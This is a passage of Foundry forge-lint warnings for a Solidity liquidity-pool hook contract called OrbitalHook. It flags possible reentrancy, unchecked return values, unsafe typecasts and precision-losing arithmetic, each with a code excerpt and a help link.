src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:466:9\n    │\n466 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:552:16\n    │\n552 │         return poolManager.balanceOf(address(this), uint256(uint160(_tokens[k])));\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:467:9\n    │\n467 │         emit Withdraw(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:450:38\n    │\n450 │             if (raw < minAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:466:9\n    │\n466 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:478:9\n    │\n478 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:481:9\n    │\n481 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:482:9\n    │\n482 │         emit ClaimsRedeemed(msg.sender, token, amount, to);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:478:9\n    │\n478 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:481:9\n    │\n481 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:500:13\n    │\n500 │             emit FeesCollected(lp, levelId, amounts);\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:499:13\n    │\n499 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:529:17\n    │\n529 │                 poolManager.sync(c);\n    │                 ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n     ╭▸ src/OrbitalHook.sol:1084:39\n     │\n1084 │         (bool ok, bytes memory ret) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, amount)); // transferFrom\n     │                                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:531:17\n    │\n531 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:532:17\n    │\n532 │                 poolManager.mint(address(this), c.toId(), amount);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:538:21\n    │\n538 │                 try poolManager.take(c, data.account, amount) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:539:21\n    │\n539 │                     poolManager.burn(address(this), c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:542:21\n    │\n542 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:543:21\n    │\n543 │                     emit ClaimsDelivered(data.account, _tokens[k], amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1085:93\n     │\n1085 │         if (!ok || (ret.length != 0 && !abi.decode(ret, (bool))) || token.code.length == 0) revert TransferFailed();\n     │                                                                                             ━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:541:55\n    │\n541 │                     if (data.action == Action.Redeem) revert TransferFailed();\n    │                                                       ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:531:17\n    │\n531 │                 poolManager.settle();\n    │                 ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:542:21\n    │\n542 │                     poolManager.transfer(data.account, c.toId(), amount);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:579:26\n    │\n579 │     function setGuardian(address _guardian) external onlyOwner {\n    │                          ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:700:17\n    │\n700 │         return (uint8(a - 1), uint8(b - 1));\n    │                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:700:31\n    │\n700 │         return (uint8(a - 1), uint8(b - 1));\n    │                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:747:24\n    │\n747 │         return found ? int256(lv[top].kNorm) : type(int256).max;\n    │                        ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:784:60\n    │\n784 │             boundary = _position(lv, boundaryMask, s, c) > int256(lv[l].kNorm);\n    │                                                            ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:817:24\n    │\n817 │         int256 along = int256(kNorm * radius / sqrtN); // k·r/√N per coin\n    │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:818:21\n    │\n818 │         int256 sr = int256(sNorm * radius / WAD);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:821:43\n    │\n821 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:821:59\n    │\n821 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:821:80\n    │\n821 │             if (w != 0) val += _floorDiv((int256(_x[k]) - int256(s / n)) * sr, int256(w));\n    │                                                                                ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:822:30\n    │\n822 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/OrbitalHook.sol:843:17\n    │\n843 │                 uu += uint256(u[k] * u[k]);\n    │                 ━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:838:29\n    │\n838 │             int256 xBound = int256(c.kb * WAD / sqrtN);\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:46\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:62\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                              ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:79\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:839:93\n    │\n839 │             if (w != 0) xBound += _floorDiv((int256(_x[k]) - int256(s / n)) * int256(c.sb), int256(w));\n    │                                                                                             ━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:840:20\n    │\n840 │             u[k] = int256(_x[k]) - xBound;\n    │                    ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:842:25\n    │\n842 │                 u[k] -= int256(c.r);\n    │                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:843:23\n    │\n843 │                 uu += uint256(u[k] * u[k]);\n    │                       ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:849:35\n    │\n849 │                 v[k] = u[k] > 0 ? uint256(u[k]) * radius / c.r : 0;\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:856:26\n    │\n856 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                          ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:856:60\n    │\n856 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                            ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:856:76\n    │\n856 │             int256 val = int256(radius) + _floorDiv(u[k] * int256(radius), int256(uNorm));\n    │                                                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:857:30\n    │\n857 │             v[k] = val > 0 ? uint256(val) : 0;\n    │                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:917:23\n    │\n917 │         if (c.r == 0) revert NoInteriorLiquidity();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:988:29\n    │\n988 │             if (d1 > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:174:68\n    │\n174 │         if (maxOut == 0 || _f(p, dIn, maxOut, n, sqrtNWad, c) < 0) revert InsufficientLiquidity();\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:964:38\n    │\n964 │             if (t.remaining > realJ) revert OrbitalMath.InsufficientLiquidity();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:192:26\n    │\n192 │         if (dOut > p.xj) revert InsufficientLiquidity();\n    │                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1043:23\n     │\n1043 │         if (w < c.sb) revert BoundaryInverted();\n     │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n     ╭▸ src/OrbitalHook.sol:1048:54\n     │\n1048 │             if (int256(x[k]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                                      ━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:983:22\n    │\n983 │         int256 gap = int256(t.lv[l].kNorm) - OrbitalMath.alphaIntNorm(p.s, sqrtN, c); // plane − position\n    │                      ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1003:17\n     │\n1003 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n     │                 ━━━━━━━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n     ╭▸ src/OrbitalHook.sol:1018:32\n     │\n1018 │         uint256 qT = wT * wT + sT * sT / n;\n     │                                ━━━━━━━\n     │\n     ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1044:24\n     │\n1044 │         int256 along = int256(c.kb * WAD / sqrtN);\n     │                        ━━━━━━━━━━━━━━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:35\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                   ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:51\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                                   ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:66\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                                                  ━━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1047:83\n     │\n1047 │             if (w != 0) xBound += int256(c.sb) * (int256(x[k]) - int256(s / n)) / int256(w);\n     │                                                                                   ━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1048:17\n     │\n1048 │             if (int256(x[k]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                 ━━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n     ╭▸ src/OrbitalHook.sol:1048:41\n     │\n1048 │             if (int256(x[k]) - xBound > int256(c.r)) revert SwapTooLarge();\n     │                                         ━━━━━━━━━━━\n     │\n     ├ note: consider disabling this lint if you're certain the cast is safe\n     │       \n     │       // casting to 'int256' is safe because [explain why]\n     │       // forge-lint: disable-next-line(unsafe-typecast)\n     │       \n     │       \n     ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n     ╭▸ src/OrbitalHook.sol:1065:29\n     │\n1065 │         uint256 tolerance = c.r * (c.r / 